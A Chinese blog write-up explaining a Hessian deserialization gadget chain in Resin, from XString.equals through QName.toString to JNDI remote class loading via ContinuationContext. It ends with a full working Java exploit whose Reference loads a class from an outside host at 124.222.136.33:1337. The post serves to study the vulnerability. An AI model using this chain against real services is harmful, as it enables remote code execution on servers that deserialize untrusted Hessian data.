【Web】浅聊Hessian反序列化之Resin的打法——远程类加载

news2024/11/19 9:38:08

目录

前言

原理分析

XString:触发恶意类toString

QName的设计理念?

远程恶意类加载Context:ContinuationContext

QName:恶意toString利用

hash相等构造

EXP


前言

精神状态有点糟糕,随便学一下吧

首先明确一个朴素的认知:当Hessian反序列化Map类型的对象的时候,会自动调用其put方法,而put方法又会牵引出各种相关利用链打法。

对于HashMap,可以利用key.equals(k),当此处的key为XString时,就可以调用参数k的toString方法,从而进行恶意利用,这里在打Rome的HotSwappableTargetSource链时也有过涉及:

【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客

而这里传入equals的参数QName的toString方法的利用点是context属性的远程类加载。

关于远程类加载,C3P0打URLClassLoader和本条链十分相像,感兴趣的师傅可以看一下:

【Web】浅聊Java反序列化之C3P0——URLClassLoader利用

原理分析

XString:触发恶意类toString

当XString#equals参数为Object时,方法逻辑如下

  public boolean equals(Object obj2)
  {

    if (null == obj2)
      return false;

      // In order to handle the 'all' semantics of
      // nodeset comparisons, we always call the
      // nodeset function.
    else if (obj2 instanceof XNodeSet)
      return obj2.equals(this);
    else if(obj2 instanceof XNumber)
        return obj2.equals(this);
    else
      return str().equals(obj2.toString());
  }

最后的意思是如果非空obj2既不是XNodeSet,也不是XNumber的实例,那么将当前对象转换为字符串形式,再与obj2的字符串形式进行比较,从而调用传入的obj2#toString

当obj2为精心构造的QName时,也就有了下面的故事

QName的设计理念?

在Rome里我们有toStringBean来进行恶意toString利用,在Resin里,我们可以利用QName的恶意toString

在具体聊QName#toString前,我们先得对啥是QName有个朴素的认知

QName类的描述,直接来了波大的,其表示一个解析后的 JNDI 名称

先从QName的构造函数开始看吧

public QName(Context context, String first, String rest) {
        this._context = context;
        if (first != null) {
            this._items.add(first);
        }

        if (rest != null) {
            this._items.add(rest);
        }

    }

根据构造函数可以推测,QName对象的功能是用于表示一个JNDI限定名(qualified name),通过传入的Context对象以及两个字符串参数(first和rest),QName对象可以将这些信息组合起来形成一个完整的限定名。

Context为何?

看一下Context接口的描述

该接口表示一个命名上下文,包含一组名称到对象的绑定,它包含用于检查和更新这些绑定的方法 ,其实就是JNDI的相关操作。

OKOK点到为止

远程恶意类加载Context:ContinuationContext

其构造方法接受一个CannotProceedException和Hashtable

CannotProceedException是javax.naming异常体系中的一种异常,通常在本地加载类失败时使用。它的作用是对无法继续进行操作的异常情况进行处理。

而处理的关键则在Reference

我们要通过对cpe的精心构造来触发后续利用

构造如下:

        String refAddr = "http://124.222.136.33:1337/";
        String refClassName = "calc";

        Reference ref = new Reference(refClassName, refClassName, refAddr);

        Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();
        String classname = "javax.naming.NamingException";
        setFiled(classname, cannotProceedException, "resolvedObj", ref);

至于为什么这样构造,现在可能看不懂,但其实结合后面的分析就十分显然了,不作赘述

先对照Reference构造方法看一看

再扔出两条调用链,细品

cpe.getResolvedObj()——>refInfo——>ref——>ref.getFactoryClassName()——>f——>factoryName
cpe.getResolvedObj()——>refInfo——>ref.getFactoryClassLocation()——>codebase

QName:恶意toString利用

再看QName#toString

通过一个for循环遍历当前对象所包含的元素,对集合中的每个元素进行处理。在循环中,获取当前元素的字符串表示并赋值给str。然后进入一个条件判断:

  • 如果name不为null,则调用上下文(this._context)的composeName方法,传入str和name作为参数,得到的结果赋值给name。
  • 如果composeName方法抛出命名异常(NamingException),则捕获异常,在name后面拼接"/"和当前元素的字符串表示str。
  • 如果name为null,直接将当前元素的字符串表示赋值给name。

我们这里令_context为ContinuationContext

跟进ContinuationContext#composeName(请忽略下面的ctx.composeName,它不在我们利用链中,这条链的核心就是ctx的远程加载类)

 跟进ContinuationContext#getTargetContext

为了进到NamingManager.getContext我们需要满足下面两个条件

contCtx == null,在构造中本身就不设置,所以不需要考虑
cpe.getResolvedObj()返回不为null(其实返回的就是我们上面给CannotProceedException构造的恶意Reference),同时在关键点参数中也会用到,因此这里需要构造,不会为null

跟进NamingManager.getContext

顾名思义,猜测其就是对恶意Reference进行一个实例化

机翻一下描述:“为指定的对象和环境创建一个对象实例。 如果安装了对象工厂构建器,则会使用它来创建用于创建对象的工厂。否则,将使用以下规则来创建对象: 如果 refInfo 是包含工厂类名称的 Reference 或 Referenceable,请使用命名工厂来创建对象。如果无法创建工厂,请返回 refInfo”

public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                      Hashtable<?,?> environment)
    throws Exception
{


    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {
        ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
        ref = ((Referenceable)(refInfo)).getReference();
    }

    Object answer;

    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

            // 关键点
            factory = getObjectFactoryFromReference(ref, f);
            // ....
    }
    // ...
}

其实就是需要远程加载恶意类(对象工厂),根据代码,需要让refInfo为Reference实例,同时ref.getFactoryClassName()不为空,至于设置成什么,继续观察后面方法,来到getObjectFactoryFromReference方法

首先试图通过当前上下文类加载器加载,这里的上下文类加载器是通过Thread.currentThread().getContextClassLoader();或ClassLoader.getSystemClassLoader();获取的,显然会找不到我们指定的类,再从Reference获取codebase(CannotProceedException的作用也就在这体现了,开发者的巧思)

接下来去codebase加载calc类

 stepinto,发现就是用URLClassLoader来加载远程类

 跟进loadClass

 最后返回值,回到NamingManager#getObjectFactoryFromReference,完成类的实例化

hash相等构造

HashMap#put中有着下述逻辑

调用key.equals(k),需要满足以下条件:①p.hash==hash,②p.key!=key,③key!=null

后两者是好解决的,主要问题在hash相等构造上

关注XString的hashCode方法

跟进str()

即将m_obj属性转换成字符串类型返回,最后调用String的hashCode方法进行hash计算,这里的m_obj即是实例化XString传入的参数 

我们只要让m_obj的hash值等于QName的hash值就可

现在的关键点在于根据String类的hashCode逻辑,得到该方法的逆操作,即根据hash值得到对应的string,然后将其作为m_obj

详细的逆操作算法我没太搞明白,就先当工具用吧(

 public static String unhash ( int hash ) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if ( target < 0 ) {
            // String with hash of Integer.MIN_VALUE, 0x80000000
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )
                return answer.toString();
            // Find target without sign bit set
            target = target & Integer.MAX_VALUE;
        }

        unhash0(answer, target);
        return answer.toString();
    }
    private static void unhash0 ( StringBuilder partial, int target ) {
        int div = target / 31;
        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {
            if ( div != 0 )
                partial.append((char) div);
            partial.append((char) rem);
        }
        else {
            unhash0(partial, div);
            partial.append((char) rem);
        }
    }

 hash相等构造利用

QName qName = new QName(continuationContext, "foo", "bar");
        String str = unhash(qName.hashCode());

EXP

pom依赖

 <dependencies>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>resin</artifactId>
            <version>4.0.63</version>
        </dependency>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.63</version>
        </dependency>
    </dependencies>

召唤计算器的神奇咒语

package com.Resin;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class Resin {
    public static void main(String[] args) throws Exception {
        String refAddr = "http://124.222.136.33:1337/";
        String refClassName = "calc";

        Reference ref = new Reference(refClassName, refClassName, refAddr);

        Object cannotProceedException = Class.forName("javax.naming.CannotProceedException").getDeclaredConstructor().newInstance();
        String classname = "javax.naming.NamingException";
        setFiled(classname, cannotProceedException, "resolvedObj", ref);

        // 创建ContinuationContext对象
        Class<?> aClass = Class.forName("javax.naming.spi.ContinuationContext");
        Constructor<?> constructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        // 构造方法为protected修饰
        constructor.setAccessible(true);
        Context continuationContext = (Context) constructor.newInstance(cannotProceedException, new Hashtable<>());


        // 创建QName
        QName qName = new QName(continuationContext, "foo", "bar");
        String str = unhash(qName.hashCode());
        // 创建Xtring
        XString xString = new XString(str);

        // 创建HashMap
        HashMap hashMap = new HashMap();
        hashMap.put(qName, "111");
        hashMap.put(xString, "222");

        // 序列化
        FileOutputStream fileOutputStream = new FileOutputStream("ResinHessian.bin");
        Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream);
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(hashMap);
        hessian2Output.close();

        // 反序列化
        FileInputStream fileInputStream = new FileInputStream("ResinHessian.bin");
        Hessian2Input hessian2Input = new Hessian2Input(fileInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();

    }

    public static void setFiled(String classname, Object o, String fieldname, Object value) throws Exception {
        Class<?> aClass = Class.forName(classname);
        Field field = aClass.getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(o, value);
    }

    public static String unhash ( int hash ) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if ( target < 0 ) {
            // String with hash of Integer.MIN_VALUE, 0x80000000
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )
                return answer.toString();
            // Find target without sign bit set
            target = target & Integer.MAX_VALUE;
        }

        unhash0(answer, target);
        return answer.toString();
    }
    private static void unhash0 ( StringBuilder partial, int target ) {
        int div = target / 31;
        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {
            if ( div != 0 )
                partial.append((char) div);
            partial.append((char) rem);
        }
        else {
            unhash0(partial, div);
            partial.append((char) rem);
        }
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1525554.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

现代化的轻量级Redis桌面客户端Tiny RDM

​欢迎光临我的博客查看最新文章: https://river106.cn 1、简介 Tiny RDM&#xff08;全称&#xff1a;Tiny Redis Desktop Manager&#xff09;是一个界面现代化的轻量级Redis桌面客户端&#xff0c;支持Linux、Mac和Windows。它专为开发和运维人员设计&#xff0c;使得与Red…

2.shell中的echo命令

目录 概述实践shell结果 结束 概述 echo 命令详解 实践 shell #!/bin/bash # 输出一些变量或打印一些字符串 # 加双引号&#xff0c;空格是会保留的 echo "hello , world" # 不加&#xff0c;不会保留 echo hello , worldvar11 "a b c d&…

基于spring boot实现接口管理平台

数据库结构 /* Navicat MySQL Data TransferSource Server : localhost_3306 Source Server Version : 50724 Source Host : localhost:3306 Source Database : interfaceTarget Server Type : MYSQL Target Server Version : 50724 File Encoding…

Java毕业设计-基于SpringBoot的CSGO赛事管理系统-毕业论文+答辩PPT(附源代码+演示视频)

文章目录 前言一、毕设成果演示&#xff08;源代码在文末&#xff09;二、毕设摘要展示1、开发说明2、需求分析3、系统功能结构 三、系统实现展示1、系统功能模块2、管理员功能模块3、参赛战队功能模块4、合作方功能模块 四、毕设内容和源代码获取总结 Java毕业设计-基于Spring…

Java代码基础算法练习-判断素数-2024.03.17

任务描述&#xff1a; 输入一个数x&#xff0c;判断它是否是素数。 提示&#xff1a;素数是只能被1和它本身整除的数&#xff0c;1不是素数。 任务要求&#xff1a; 代码示例&#xff1a; package march0317_0331;import java.util.Scanner;public class March0317 {public …

【鸿蒙HarmonyOS开发笔记】常用组件介绍篇 —— Toggle切换按钮组件

概述 Toggle为切换按钮组件&#xff0c;一般用于两种状态之间的切换&#xff0c;例如下图中的蓝牙开关。 参数 Toggle组件的参数定义如下 Toggle(options: { type: ToggleType, isOn?: boolean })● type type属性用于设置Toggle组件的类型&#xff0c;可通过ToggleType枚举…

无人机助力智慧农田除草新模式,基于YOLOv7【tiny/l/x】不同系列参数模型开发构建无人机航拍场景下的农田杂草检测识别系统

科技发展到今天&#xff0c;无人机喷洒药物已经不是一件新鲜事情了&#xff0c;在很多高危的工作领域中&#xff0c;比如高空电力设备除冰&#xff0c;电力设备部件传送更换等等&#xff0c;无人机都可以扮演非常出色的作用&#xff0c;前面回到老家一段时间&#xff0c;最近正…

Leetcode 31. 删除无效的括号

心路历程&#xff1a; 一开始看到有点懵&#xff0c;后来发现有点像按照一定规则穷举所有可能情况&#xff0c;想到了排列组合问题&#xff0c;再结合问题长度不固定&#xff0c;无法用已知个for循环表示&#xff0c;从而想到了回溯。这个题相当于需要在一定规则下枚举。 按照…

第2章 进程与线程(3)

2.3 同步与互斥 引入同步的原因是【进程的并发具有异步性,以各自独立不可预知的速度推进】 2.3.1 同步与互斥的基本概念 1.临界资源:一次仅仅允许一个进程所使用的资源叫做临界资源。 2.同步:进程同步是确保多个进程在共享资源的访问过程中按照一定规则进行协调和管理的过程。…

STM32CubeIDE基础学习-BEEP蜂鸣器实验

STM32CubeIDE基础学习-BEEP蜂鸣器实验 文章目录 STM32CubeIDE基础学习-BEEP蜂鸣器实验前言第1章 硬件介绍第2章 工程配置2.1 工程外设配置部分2.2 生成工程代码部分 第3章 代码编写第4章 实验现象总结 前言 前面学习了LED闪烁实验&#xff0c;现在来学习一下蜂鸣器发声实验&am…

Stable Diffusion出图时,一次性比较多个lora的效果?

事前准备 在WebUI中&#xff0c;lora插件&#xff08;也算是模型&#xff09;的存放位置为&#xff1a; 你的WebUI启动器根目录\models\Lora 把训练好的&#xff0c;或者下载到的模型放到这个文件夹。 重启WebUI之后就会出现在这里 在Lora标签中 注意&#xff1a;这些lora需要…

前端接口防止重复请求实现方案

虽然大部分的接口处理我们都是加了loading的&#xff0c;但又不能确保真的是每个接口都加了的&#xff0c;可是如果要一个接口一个接口的排查&#xff0c;那这维护了四五年的系统&#xff0c;成百上千的接口肯定要耗费非常多的精力&#xff0c;根本就是不现实的&#xff0c;所以…

springboot基于JAVA的邮件过滤系统设计与实现

摘 要 当今社会已经步入了科学技术进步和经济社会快速发展的新时期&#xff0c;人类的生存和思考方式也产生了变化。传统邮件过滤、意见反馈采取了人工的管理方法&#xff0c;但这种管理方法存在着许多弊端&#xff0c;比如效率低下、安全性低以及信息传输的不准确等&#xff…

【剑指offer--C/C++】JZ25 合并两个排序的链表

题目 思路 这个题目大逻辑比较简单&#xff0c;就是一个比较和穿插&#xff0c;但细节上要考虑清楚&#xff0c;可以画个图模拟一下。我这里是设置将两个链表拆开组成一个新的链表&#xff0c;这样不需要占用新的空间。两个指针对应节点的值进行比较&#xff0c;那个节点值较小…

【2024第一期CANN训练营】3、AscendCL运行时管理

文章目录 【2024第一期CANN训练营】3、AscendCL运行时管理1. 初始化与去初始化2. 资源申请与释放2.1 申请流程2.2 释放流程2.3 运行模式&#xff08;可选&#xff09; 3. 数据传输3.1 接口调用流程3.2 主要数据传输场景1. Host内的数据传输2. 从Host到Device的数据传输3. 从Dev…

【深度学习】滴滴出行-交通场景目标检测

案例5&#xff1a;滴滴出行-交通场景目标检测 相关知识点&#xff1a;目标检测、开源框架的配置和使用&#xff08;mmdetection, mmcv&#xff09; 1 任务目标 1.1 任务和数据简介 本次案例将使用深度学习技术来完成城市交通场景下的目标检测任务&#xff0c;案例所使用的数…

「全栈」低代码时代开启!页面开发、数据处理、复杂逻辑统统一站搞定!

数字化浪潮的推进让企业对应用开发效率有着愈发严苛的要求。 传统的开发模式&#xff0c;无论是前端开发还是后端处理&#xff0c;都普遍面临周期长、成本高、响应慢、迭代难等问题&#xff0c;由于部分企业长期未进行创新改革&#xff0c;导致每次在新增系统功能时&#xff0…

【源码阅读】Mybatis底层源码分析(详细Debug查看附代码)

一、搭建测试代码框架 &#xff08;代码已提交到github->测试代码&#xff0c;建议结合代码根据本文debug一遍更有利于理解&#xff0c;帮忙点个Star 哈&#xff0c;本人在这里谢谢了&#xff09; 二、猜想Mybatis是如何设计的 从上面的案例中&#xff0c;可以大致可以猜测…

VMware虚拟机硬盘容量扩容方法

扩容后不会影响原文件。亲测有效&#xff0c;高效便捷 - 在关机状态下&#xff0c;先在VM上直接扩容硬盘容量&#xff0c;输入扩容后的硬盘最大容量 注意&#xff0c;如果想在原硬盘上增加容量&#xff0c;需要将原来的快照都删除 - 输入最大磁盘大小 运行虚拟机进入系统&…

【代码】伪标签图像随机生成

这段代码将生成2-4个大小不同的圆形和1-2个大小不同的椭圆形&#xff0c;并确保它们之间以及与背景边界之间不会发生重叠 限制圆形的半径不超过150&#xff0c;第13行 import cv2 import random import os这段代码将生成2-4个大小不同的圆形和1-2个大小不同的椭圆形&#xff0…